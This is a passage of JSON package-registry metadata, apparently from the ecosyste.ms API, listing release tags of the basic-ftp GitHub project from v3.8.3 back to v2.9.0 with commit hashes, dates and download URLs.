3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/h